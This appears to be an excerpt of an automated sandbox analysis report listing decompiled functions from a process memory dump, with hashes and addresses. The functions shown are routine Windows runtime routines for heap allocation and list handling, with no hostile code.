Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69a38d1624f1ffece4e30bdc1cf460ebcdcefaa9cdcccc88f5151876640b925a
Instruction ID: 571de3a0b99c872540819abb04bfc7672fb08932f09e2b865233d686fc56ca82
Opcode Fuzzy Hash: 69a38d1624f1ffece4e30bdc1cf460ebcdcefaa9cdcccc88f5151876640b925a
Instruction Fuzzy Hash: 3B21AE72A01604ABC725DF69DC80EABB7E8EF48341F10456EF50AC7750E634E901CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0469FD9B, Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0469FD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E046776E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L04684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}

0x0469fd9b
0x0469fda0
0x0469fda1
0x0469fdab
0x0469fdad
0x0469fdb0
0x0469fdb8
0x0469fe0f
0x0469fde6
0x0469fde9
0x0469fdec
0x046dc0c0
0x0469fdfe
0x0469fe06
0x0469fe06
0x046dc0c8
0x0469fe2d
0x0469fe2d
0x00000000
0x0469fe2d
0x046dc0d1
0x046dc0e0
0x046dc0e5
0x046dc0e5
0x046dc0e8
0x00000000
0x046dc0e8
0x0469fdf4
0x00000000
0x00000000
0x0469fdf6
0x0469fdfa
0x0469fe1a
0x0469fe1f
0x0469fe1f
0x0469fdfc
0x00000000
0x0469fdfc
0x0469fdcc
0x0469fdd0
0x0469fe26
0x00000000
0x0469fe26
0x0469fdd8
0x0469fddb
0x0469fddd
0x0469fde0
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction ID: 80037000075a4a97a7faca4d5d8c22cf8e1694d76afe45cf7fb3c4d26e575fbf
Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction Fuzzy Hash: 8E217C72A00645DBDB39CF09C540A66F7E9EBA8B10F26816EE945C7710F7B1BC01EB80

Uniqueness

Uniqueness Score: -1.00%

Function 04669240, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E04669240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x473f708);
				E046BD08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E046A95D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E046A95D0();
				_t33 =  *0x47584c4; // 0x0
				L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0x47584c4; // 0x0
				L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0x47584c4; // 0x0
				E04682280(L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x47586b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E046A95D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E046A95D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E04669325();
					_t50 =  *0x47584c4; // 0x0
					return E046BD0D1(L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}

0x04669240
0x04669242
0x04669247
0x0466924c
0x0466924e
0x04669255
0x04669257
0x0466925a
0x0466925f
0x0466925f
0x04669266
0x04669271
0x04669276
0x04669279
0x0466927e
0x04669295
0x0466929a
0x046692b1
0x046692b6
0x046692d7
0x046692dc
0x046692e0
0x046692e6
0x046692e8
0x046692ee
0x04669332
0x04669333
0x04669337
0x04669338
0x0466933a
0x0466933a
0x0466933d
0x04669342
0x04669342
0x04669345
0x04669349
0x0466934e
0x04669352
0x04669357
0x046692f4
0x046692f4
0x046692f6
0x046692f9
0x04669300
0x04669306
0x04669324
0x04669324

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 39cd5a534396871fe91daf1c13a0d492d2b284168d2010d8870b3424c312896f
Instruction ID: 42f7f77115feed3071e14208f43649cf25666516c900e9a6ab92b7ab75b7adba
Opcode Fuzzy Hash: 39cd5a534396871fe91daf1c13a0d492d2b284168d2010d8870b3424c312896f
Instruction Fuzzy Hash: 772116B1041A40DFD721FF28CA40B59B7F9FF08708F15456CE44A9A6A2EA74F955CB88

Uniqueness

Uniqueness Score: -1.00%

Function 0469B390, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0469B390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E04682280(_t12, 0x4758608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E046A00C2(0x4758608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}

0x0469b395
0x0469b3a2
0x0469b3a5
0x0469b3aa
0x0469b3b2
0x0469b3ba
0x0469b3bd
0x0469b3c0
0x0469b3c4
0x0469b3c9
0x046da3e9
0x046da3ed
0x046da3f0
0x046da3ff
0x046da403
0x046da409
0x00000000
0x00000000
0x046da40b
0x046da40b
0x046da40f
0x046da415
0x046da423
0x046da423
0x046da415
0x0469b3d1
0x0469b3e8
0x0469b3e8
0x0469b3d9

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0e13dde43cd8f713a47f2c8bc5a2954a2ce2ce5f7ffb3a7b92d623befa42623
Instruction ID: 6be61d057daa803eb4f72135ade0ff357269770d942287f3bba1840eba51712a
Opcode Fuzzy Hash: f0e13dde43cd8f713a47f2c8bc5a2954a2ce2ce5f7ffb3a7b92d623befa42623
Instruction Fuzzy Hash: 0D1125327051109BDB18DA559D81A2B739AEBD5630B25023DDD26DB390E971BC02C695

Uniqueness

Uniqueness Score: -1.00%

Function 046F4257, Relevance: .1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E046F4257(void* __ebx, void* __ecx, intOrPtr* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t18;
				intOrPtr _t24;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t31;
				intOrPtr _t33;
				intOrPtr* _t34;
				intOrPtr* _t35;
				void* _t37;
				void* _t38;
				void* _t39;
				void* _t43;

				_t39 = __eflags;
				_t35 = __edi;
				_push(8);
				_push(0x47408d0);
				E046BD08C(__ebx, __edi, __esi);
				_t37 = __ecx;
				E046F41E8(__ebx, __edi, __ecx, _t39);
				E0467EEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				_t18 = _t37 + 8;
				_t33 =  *_t18;
				_t27 =  *((intOrPtr*)(_t18 + 4));
				if( *((intOrPtr*)(_t33 + 4)) != _t18 ||  *_t27 != _t18) {
					L8:
					_push(3);
					asm("int 0x29");
				} else {
					 *_t27 = _t33;
					 *((intOrPtr*)(_t33 + 4)) = _t27;
					_t35 = 0x47587e4;
					_t18 =  *0x47587e0; // 0x0
					while(_t18 != 0) {
						_t43 = _t18 -  *0x4755cd0; // 0xffffffff
						if(_t43 >= 0) {
							_t31 =  *0x47587e4; // 0x0
							_t18 =  *_t31;
							if( *((intOrPtr*)(_t31 + 4)) != _t35 ||  *((intOrPtr*)(_t18 + 4)) != _t31) {
								goto L8;
							} else {
								 *0x47587e4 = _t18;
								 *((intOrPtr*)(_t18 + 4)) = _t35;
								L04667055(_t31 + 0xfffffff8);
								_t24 =  *0x47587e0; // 0x0
								_t18 = _t24 - 1;
								 *0x47587e0 = _t18;
								continue;
							}
						}
						goto L9;
					}
				}
				L9:
				__eflags =  *0x4755cd0;
				if( *0x4755cd0 <= 0) {
					L04667055(_t37);
				} else {
					_t30 = _t37 + 8;
					_t34 =  *0x47587e8; // 0x0
					__eflags =  *_t34 - _t35;
					if( *_t34 != _t35) {
						goto L8;
					} else {
						 *_t30 = _t35;
						 *((intOrPtr*)(_t30 + 4)) = _t34;
						 *_t34 = _t30;
						 *0x47587e8 = _t30;
						 *0x47587e0 = _t18 + 1;
					}
				}
				 *(_t38 - 4) = 0xfffffffe;
				return E046BD0D1(L046F4320());
			}

0x046f4257
0x046f4257
0x046f4257
0x046f4259
0x046f425e
0x046f4263
0x046f4265
0x046f4273
0x046f4278
0x046f427c
0x046f427f
0x046f4281
0x046f4287
0x046f42d7
0x046f42d7
0x046f42da
0x046f428d
0x046f428d
0x046f428f
0x046f4292
0x046f4297
0x046f429c
0x046f42a0
0x046f42a6
0x046f42a8
0x046f42ae
0x046f42b3
0x00000000
0x046f42ba
0x046f42ba
0x046f42bf
0x046f42c5
0x046f42ca
0x046f42cf
0x046f42d0
0x00000000
0x046f42d0
0x046f42b3
0x00000000
0x046f42a6
0x046f429c
0x046f42dc
0x046f42dc
0x046f42e3
0x046f4309
0x046f42e5
0x046f42e5
0x046f42e8
0x046f42ee
0x046f42f0
0x00000000
0x046f42f2
0x046f42f2
0x046f42f4
0x046f42f7
0x046f42f9
0x046f4300
0x046f4300
0x046f42f0
0x046f430e
0x046f431f

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2432884c1c671251b86c71de4f4415c12f51129aa99e1791a4a84afb80d93a8
Instruction ID: 87c68582a9066345655e127d2973c132f31ad24126a7bd60028f07143bd17bcb
Opcode Fuzzy Hash: a2432884c1c671251b86c71de4f4415c12f51129aa99e1791a4a84afb80d93a8
Instruction Fuzzy Hash: 9D216870500701CFD714EFA9D9006957BB9FFA5318B11C66EC2858FB90EB79A892CB45

Uniqueness

Uniqueness Score: -1.00%

Function 046E46A7, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E046E46A7(signed short* __ecx, unsigned int __edx, char* _a4) {
				signed short* _v8;
				unsigned int _v12;
				intOrPtr _v16;
				signed int _t22;
				signed char _t23;
				short _t32;
				void* _t38;
				char* _t40;

				_v12 = __edx;
				_t29 = 0;
				_v8 = __ecx;
				_v16 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
				_t38 = L04684620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0,  *__ecx & 0x0000ffff);
				if(_t38 != 0) {
					_t40 = _a4;
					 *_t40 = 1;
					E046AF3E0(_t38, _v8[2],  *_v8 & 0x0000ffff);
					_t22 = _v12 >> 1;
					_t32 = 0x2e;
					 *((short*)(_t38 + _t22 * 2)) = _t32;
					 *((short*)(_t38 + 2 + _t22 * 2)) = 0;
					_t23 = E0469D268(_t38, 1);
					asm("sbb al, al");
					 *_t40 =  ~_t23 + 1;
					L046877F0(_v16, 0, _t38);
				} else {
					 *_a4 = 0;
					_t29 = 0xc0000017;
				}
				return _t29;
			}

0x046e46b7
0x046e46ba
0x046e46c5
0x046e46c8
0x046e46d0
0x046e46d4
0x046e46e6
0x046e46e9
0x046e46f4
0x046e46ff
0x046e4705
0x046e4706
0x046e470c
0x046e4713
0x046e471b
0x046e4723
0x046e4725
0x046e46d6
0x046e46d9
0x046e46db
0x046e46db
0x046e4732

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction ID: 5c4094d79d02517b97b9370cdb58db216bc42f21d1ff72013025eff79fa83c12
Opcode Fuzzy Hash: 6c02f93804e98639f40e64f25065eaa58b5c60d6a79ebe6421c16f95bf281ade
Instruction Fuzzy Hash: 9911E572604208BBDB059F6DD8808BEBBF9EF95304F10806EF944C7350EA319D55D7A9

Uniqueness

Uniqueness Score: -1.00%

Function 04692397, Relevance: .1, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 34%

			E04692397(intOrPtr _a4) {
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t11;
				void* _t19;
				void* _t25;
				void* _t26;
				intOrPtr _t27;
				void* _t28;
				void* _t29;

				_t27 =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294));
				if( *0x475848c != 0) {
					L0468FAD0(0x4758610);
					if( *0x475848c == 0) {
						E0468FA00(0x4758610, _t19, _t27, 0x4758610);
						goto L1;
					} else {
						_push(0);
						_push(_a4);
						_t26 = 4;
						_t29 = E04692581(0x4758610, 0x46450a0, _t26, _t27, _t28);
						E0468FA00(0x4758610, 0x46450a0, _t27, 0x4758610);
					}
				} else {
					L1:
					_t11 =  *0x4758614; // 0x1
					if(_t11 == 0) {
						_t11 = E046A4886(0x4641088, 1, 0x4758614);
					}
					_push(0);
					_push(_a4);
					_t25 = 4;
					_t29 = E04692581(0x4758610, (_t11 << 4) + 0x4645070, _t25, _t27, _t28);
				}
				if(_t29 != 0) {
					 *((intOrPtr*)(_t29 + 0x38)) = _t27;
					 *((char*)(_t29 + 0x40)) = 0;
				}
				return _t29;
			}

0x046923b0
0x046923b6
0x04692409
0x04692415
0x046d5ae9
0x00000000
0x0469241b
0x0469241b
0x0469241d
0x04692427
0x0469242e
0x04692430
0x04692430
0x046923b8
0x046923b8
0x046923b8
0x046923bf
0x046923fc
0x046923fc
0x046923c1
0x046923c3
0x046923d0
0x046923d8
0x046923d8
0x046923dc
0x046923de
0x046923e1
0x046923e1
0x046923ec

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dda9344c29829e271ab690502b6ed4fc70f6c4f2d65db686717680e4024c2a08
Instruction ID: 856747e365f5ce76b6210ba79e7aa9d3a782518ff1b7ddf9bf1143d72caa5865
Opcode Fuzzy Hash: dda9344c29829e271ab690502b6ed4fc70f6c4f2d65db686717680e4024c2a08
Instruction Fuzzy Hash: A6110C31740310B7FB20BA299C90B1573CCEBA0664F15495AEA02AB251F5F4FC418799

Uniqueness

Uniqueness Score: -1.00%

Function 046A37F5, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E046A37F5(void* __ecx, intOrPtr* __edx) {
				void* __ebx;
				void* __edi;
				signed char _t6;
				intOrPtr _t13;
				intOrPtr* _t20;
				intOrPtr* _t27;
				void* _t28;
				intOrPtr* _t29;

				_t27 = __edx;
				_t28 = __ecx;
				if(__edx == 0) {
					E04682280(_t6, 0x4758550);
				}
				_t29 = E046A387E(_t28);
				if(_t29 == 0) {
					L6:
					if(_t27 == 0) {
						E0467FFB0(0x4758550, _t27, 0x4758550);
					}
					if(_t29 == 0) {
						return 0xc0000225;
					} else {
						if(_t27 != 0) {
							goto L14;
						}
						L046877F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t27, _t29);
						goto L11;
					}
				} else {
					_t13 =  *_t29;
					if( *((intOrPtr*)(_t13 + 4)) != _t29) {
						L13:
						_push(3);
						asm("int 0x29");
						L14:
						 *_t27 = _t29;
						L11:
						return 0;
					}
					_t20 =  *((intOrPtr*)(_t29 + 4));
					if( *_t20 != _t29) {
						goto L13;
					}
					 *_t20 = _t13;
					 *((intOrPtr*)(_t13 + 4)) = _t20;
					asm("btr eax, ecx");
					goto L6;
				}
			}

0x046a37fa
0x046a37fc
0x046a3805
0x046a3808
0x046a3808
0x046a3814
0x046a3818
0x046a3846
0x046a3848
0x046a384b
0x046a384b
0x046a3852
0x00000000
0x046a3854
0x046a3856
0x00000000
0x00000000
0x046a3863
0x00000000
0x046a3863
0x046a381a
0x046a381a
0x046a381f
0x046a386e
0x046a386e
0x046a3871
0x046a3873
0x046a3873
0x046a3868
0x00000000
0x046a3868
0x046a3821
0x046a3826
0x00000000
0x00000000
0x046a3828
0x046a382a
0x046a3841
0x00000000
0x046a3841

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 839674f00810624e336e68c8b1d86a7f71ad04f96cc58b287aed432d9d4d8558
Instruction ID: 070096300bc69f40a62b709497c1cb187a128a5e9d264bdccb1439ccacee0ea1
Opcode Fuzzy Hash: 839674f00810624e336e68c8b1d86a7f71ad04f96cc58b287aed432d9d4d8558
Instruction Fuzzy Hash: A701D672A02E109BD3379B199940E26BBA6DF95B60B15406DEC459B310FB30FC51CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 0466C962, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E0466C962(char __ecx) {
				signed int _v8;
				intOrPtr _v12;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t19;
				char _t22;
				intOrPtr _t26;
				intOrPtr _t27;
				char _t32;
				char _t34;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t38;
				signed int _t39;

				_t41 = (_t39 & 0xfffffff8) - 0xc;
				_v8 =  *0x475d360 ^ (_t39 & 0xfffffff8) - 0x0000000c;
				_t34 = __ecx;
				if(( *( *[fs:0x30] + 0x68) & 0x00000100) != 0) {
					_t26 = 0;
					E0467EEF0(0x47570a0);
					_t29 =  *((intOrPtr*)(_t34 + 0x18));
					if(E046EF625( *((intOrPtr*)(_t34 + 0x18))) != 0) {
						L9:
						E0467EB70(_t29, 0x47570a0);
						_t19 = _t26;
						L2:
						_pop(_t35);
						_pop(_t37);
						_pop(_t27);
						return E046AB640(_t19, _t27, _v8 ^ _t41, _t32, _t35, _t37);
					}
					_t29 = _t34;
					_t26 = E046EF1FC(_t34, _t32);
					if(_t26 < 0) {
						goto L9;
					}
					_t38 =  *0x47570c0; // 0x0
					while(_t38 != 0x47570c0) {
						_t22 =  *((intOrPtr*)(_t38 + 0x18));
						_t38 =  *_t38;
						_v12 = _t22;
						if(_t22 != 0) {
							_t29 = _t22;
							 *0x475b1e0( *((intOrPtr*)(_t34 + 0x30)),  *((intOrPtr*)(_t34 + 0x18)),  *((intOrPtr*)(_t34 + 0x20)), _t34);
							_v12();
						}
					}
					goto L9;
				}
				_t19 = 0;
				goto L2;
			}

0x0466c96a
0x0466c974
0x0466c988
0x0466c98a
0x046d7c9d
0x046d7c9f
0x046d7ca4
0x046d7cae
0x046d7cf0
0x046d7cf5
0x046d7cfa
0x0466c992
0x0466c996
0x0466c997
0x0466c998
0x0466c9a3
0x0466c9a3
0x046d7cb0
0x046d7cb7
0x046d7cbb
0x00000000
0x00000000
0x046d7cbd
0x046d7ce8
0x046d7cc5
0x046d7cc8
0x046d7cca
0x046d7cd0
0x046d7cd6
0x046d7cde
0x046d7ce4
0x046d7ce4
0x046d7cd0
0x00000000
0x046d7ce8
0x0466c990
0x00000000

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 173ff98f5595e6b36504f72ac893f2fad46720feed68a598dfeb550485675da4
Instruction ID: d372893d13dd71ec91ab2330fefa1aab9cdcb3e667cc196d3d9e958e7b24d4c3
Opcode Fuzzy Hash: 173ff98f5595e6b36504f72ac893f2fad46720feed68a598dfeb550485675da4
Instruction Fuzzy Hash: F9110E72B006069FD724AF68CC85A6BB7E9FB84619F00092CE84587660FB60FC10CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 0469002D, Relevance: .1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0469002D() {
				void* _t11;
				char* _t14;
				signed char* _t16;
				char* _t27;
				signed char* _t29;

				_t11 = E04687D50();
				_t27 = 0x7ffe0384;
				if(_t11 != 0) {
					_t14 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t14 = 0x7ffe0384;
				}
				_t29 = 0x7ffe0385;
				if( *_t14 != 0) {
					if(E04687D50() == 0) {
						_t16 = 0x7ffe0385;
					} else {
						_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t16 & 0x00000040) != 0) {
						goto L18;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(E04687D50() != 0) {
						_t27 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					if( *_t27 != 0) {
						if(( *( *[fs:0x30] + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						if(E04687D50() != 0) {
							_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
						}
						if(( *_t29 & 0x00000020) == 0) {
							goto L5;
						}
						L18:
						return 1;
					} else {
						L5:
						return 0;
					}
				}
			}

0x04690032
0x04690037
0x04690043
0x046d4b3a
0x04690049
0x04690049
0x04690049
0x0469004e
0x04690053
0x046d4b48
0x046d4b5a
0x046d4b4a
0x046d4b53
0x046d4b53
0x046d4b5f
0x00000000
0x046d4b61
0x00000000
0x046d4b61
0x04690059
0x04690059
0x04690060
0x046d4b6f
0x046d4b6f
0x04690069
0x046d4b83
0x00000000
0x00000000
0x046d4b90
0x046d4b9b
0x046d4b9b
0x046d4ba4
0x00000000
0x00000000
0x046d4baa
0x00000000
0x0469006f
0x0469006f
0x00000000
0x0469006f
0x04690069

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction ID: 156ff806de37fadbc87bded2f1093b9da5529aa10ed9c4462e2bda7178f5f26e
Opcode Fuzzy Hash: 8d774e958955e2a4888292503cae141afd510c2672050b36ba74763b54e4c63a
Instruction Fuzzy Hash: 9A11E132A05680DFEB229B28CD44B3537D8EF61758F1900A5DD148B792FB78FC42C264

Uniqueness

Uniqueness Score: -1.00%

Function 0467766D, Relevance: .1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0467766D(void* __ecx, signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				char _v8;
				void* _t22;
				void* _t24;
				intOrPtr _t29;
				intOrPtr* _t30;
				void* _t42;
				intOrPtr _t47;

				_push(__ecx);
				_t36 =  &_v8;
				if(E0469F3D5( &_v8, __edx * _a4, __edx * _a4 >> 0x20) < 0) {
					L10:
					_t22 = 0;
				} else {
					_t24 = _v8 + __ecx;
					_t42 = _t24;
					if(_t24 < __ecx) {
						goto L10;
					} else {
						if(E0469F3D5( &_v8, _a8 * _a12, _a8 * _a12 >> 0x20) < 0) {
							goto L10;
						} else {
							_t29 = _v8 + _t42;
							if(_t29 < _t42) {
								goto L10;
							} else {
								_t47 = _t29;
								_t30 = _a16;
								if(_t30 != 0) {
									 *_t30 = _t47;
								}
								if(_t47 == 0) {
									goto L10;
								} else {
									_t22 = L04684620(_t36,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t47);
								}
							}
						}
					}
				}
				return _t22;
			}

0x04677672
0x0467767f
0x04677689
0x046776de
0x046776de
0x0467768b
0x04677691
0x04677693
0x04677697
0x00000000
0x04677699
0x046776a8
0x00000000
0x046776aa
0x046776ad
0x046776b1
0x00000000
0x046776b3
0x046776b3
0x046776b5
0x046776ba
0x046776bc
0x046776bc
0x046776c0
0x00000000
0x046776c2
0x046776ce
0x046776ce
0x046776c0
0x046776b1
0x046776a8
0x04677697
0x046776d9

Memory Dump Source

Source File: 00000009.00000002.492120932.0000000004640000.00000040.00000001.sdmp, Offset: 04640000, based on PE: true

Associated: 00000009.00000002.492621270.000000000475B000.00000040.00000001.sdmp Download File
Associated: 00000009.00000002.492637672.000000000475F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction ID: 370b2fdc6bddd4a5f49a5a5853a6b944fa44713748c8c1c8a18449caec993f5a
Opcode Fuzzy Hash: 0f0f9780e106b949b133bc76075252866a2fc865c05abd63e27a9356099b865c
Instruction Fuzzy Hash: A3018432700119AFDB24AE5ECC81E5B77EDEB84761B350538B908CB258FA70FD0187A8

Uniqueness

